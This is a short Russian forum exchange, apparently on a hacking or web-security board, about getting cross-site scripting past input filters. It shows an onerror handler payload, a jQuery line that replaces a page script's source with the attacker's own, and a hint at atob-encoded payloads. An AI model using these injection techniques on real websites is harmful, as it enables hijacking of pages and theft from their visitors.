Спасибо. Тоесть получается такой код

Но если фильтр режет , то в таком коде он тоже его отфильтрует. А если закодировать и фильтр пропустит код как не опасный , то такой же закодироавный код должен работать и сам по себе . Тоесть остальные теги и события по сути не нужны будут . Так или я не понимаю что-то ?

Ты в конструкцию onerror можешь вставить хоть целую библиотеку. Не обязтаельно туда файл подгружать. То примерно так onerror="var i = 'Hellow world'; alert(i); ..... (тонна комманд)....", но если подгружены бибилотеки вроде JQuery то все еще проще $('script').attr('src', 'Меняешь путь на свой') - таким образом ты подгрузишь свой JS ВМЕСТО какого то на странице.

atob